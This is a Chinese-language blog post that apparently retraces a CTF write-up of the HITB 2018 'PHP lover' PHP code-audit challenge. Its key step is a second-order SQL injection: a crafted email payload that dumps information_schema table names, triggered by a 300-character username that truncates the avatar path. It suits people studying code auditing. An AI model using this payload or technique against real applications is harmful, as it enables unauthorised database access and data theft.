Fork me on GitHub

复现HITB PHP lover代码审计

参考文献:https://www.anquanke.com/post/id/104952
一直想学代码审计来着,看到了一篇大佬的关于php代码审计的wp,决定自己试一下
源码下载地址:https://hitbxctf2018.xctf.org.cn/contest_challenge/里面的web题目中的PHP lover

代码结构

1
2
3
4
5
6
7
8
Controller           控制器,只有index.controller.php
Core 类及方法定义
templates 前端的各种html界面
uploads 里面是两张图片
back.sql 创建的数据表
config.php 连接数据库
function.php 定义过滤函数
index.php 入口文件

从index.controller.php看下主要功能

1
2
3
4
5
6
public function login()
public function register()
public function add()
public function view()
public function edit()
public function export()

  • login()

    登录调用User类的login()方法,跟进login()函数(在user.class.php中)

    跟进username的过滤函数filter()(在function.php文件中)

    其中正则表达式中的b表示的为单词边界,而不是通配,如preg_match("/bwebb/i")只能匹配到web,而web123这种就不能。
    所以可以用"select * from/**/users"绕过此过滤(//作为空格注入)
    但是在User类的login()方法中,

    这就把`/
    /`过滤了,所以这个方法不行
  • register()

    跟进user类的register()方法

    其中$username和$nickname没有可能了
    再看一下email,看下正则匹配
    1
    if(!preg_match('/^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|([\"].+[\"]))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/i',$email)) return false;

其中([\"].+[\"])只需要""包围即可,引号中可以随便写。所以可以用·'"' and 1=1#'"@skysec.top'这种绕过,但是在daddslashes()这个函数中将"转义了。

  • add()

    跟进user类中的add()方法

    全部被转义
  • view()

    跟进user类中的getarticle()函数

    emmm,直接intval()也是妙。。
  • edit()

    上传功能,类型检测可以抓包bypass,但是
    1
    2
    3
    4
    $info=getimagesize($_FILES['avatar']['tmp_name']);
    if(@is_array($info) and array_key_exists('mime',$info)){
    $type=explode('/',$info['mime'])[1];
    $filename="uploads/".$this->user->getuser().".".$type;

文件后缀直接是mine的类型,这样就不能bypass上传恶意文件了
跟进下user类的getuser()方法

文件名、是我们注册的用户名,用户名是无法bypass的,所以这里的上传,除了文件名长度其他都不可控

  • export()

    跟进user()类中的report()方法

    这里被当做错误触发,未做任何过滤,其中email的插入很关键
    所以接下来才算步入正题。。。emmm先膜拜下大佬的思路。
    攻击点
  • 这题注册的时候,可以Bypass注册恶意邮箱,但是其中有符号被转义了
  • 但是这个转义在取出数据库的时候会被去除
  • 如果在取出后,系统又对这个数据进行了一次sql操作,就可以触发注入,通过二次注入
  • 我们的注册的时候注册恶意邮箱,在这里触发错误报告的时候就会被系统再次调用,取出数据库后转义消失
  • 拼接到insert语句时,构成sql注入攻击
    我们根据这一点注册用户,邮箱为
    1
    "', 233), (2333, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_SCHEMA=database()), 23333)#"@skysec.top

假设我们能触发export()函数中的$this->user->report(1)

$this->email为我们邮箱取出数据库的值:

1
"', 233), (2333, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_SCHEMA=database()), 23333)#"@skysec.top

此时利用report插入了两条数据

1
2
$this->id,'"', 233
2333, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_SCHEMA=database()), 23333)

触发sql注入需要解决
①自己的id需要知道,这样可以插入
在view()方法中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if(isset($_GET['article'])){
$id=intval($_GET['article']);
$result=$this->user->getarticle($id);
if($result==-1){
quit('You have no access to read this article!');
}
else if($result==null){
//TODO!report it!
quit('This article is not exists!');
}
else{
if($result[0][2]!="") echo "<h1>".htmlspecialchars($result[0][2], ENT_QUOTES)."</h1>";
echo htmlspecialchars($result[0][3], ENT_QUOTES);
}
}
else{
$id=$this->user->getid();
$this->view=$this->user->getarticle();
include("templates/view.html");
}

若是不输入article参数,会调用

1
2
3
4
function getid(){
if ($this->islogin) return $this->id;
else return null;
}

就可获得id

②触发if(file_exists($avatar) and filesize($avatar)<65535)false,这样就会成功到else,构成攻击
跟进user类中的getavatar()方法


查看back.sql文件,其中

1
2
$r[1]:data
$r[3]:filepath

如果我们的上传图片有数据,就返回Base64后的数据,否则返回路径

edit()的上传功能中有

1
2
3
$filename="uploads/".$this->user->getuser().".".$type;
if(is_uploaded_file($_FILES['avatar']['tmp_name'])){
$this->user->edit("avatar",array($filename,$type));

跟进user类中的edit()方法

1
2
3
if($feild=="avatar"){
return $this->db->Insert("avatar",array("''",$this->id,"'$value[0]'","'$value[1]'"));
}

即avatar表的filepath字段为

1
uploads/用户名.文件mine

数据库结构中

用户名的长度是300,而路径长度

1
`filepath` varchar(300),

如果我们的用户名长度为300,此时插入的路径就会被300截断,而变成一个不存在的路径,此时即可触发file_exists($avatar)错误

题目链接打不开了,放下大佬的完整攻击流程:

  • 先随便注册个用户,看一下自己的id
  • 然后再迅速注册用户,验证id是否是自己预想的id+1

    1
    2
    3
    4
    username =
    skyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskyskysky
    email =
    "', 233), (id+1, (SELECT group_concat(TABLE_NAME) FROM/**/ information_schema.TABLES where TABLE_SCHEMA=database()), 23333)#"@skysec.top
  • 登录后触发上传功能

  • 上传空文件,抓包改mine
  • 触发export功能,即可完成攻击,发现注入成功后的数据
    最后得到flag表,以及数据
-------------本文结束感谢您的阅读-------------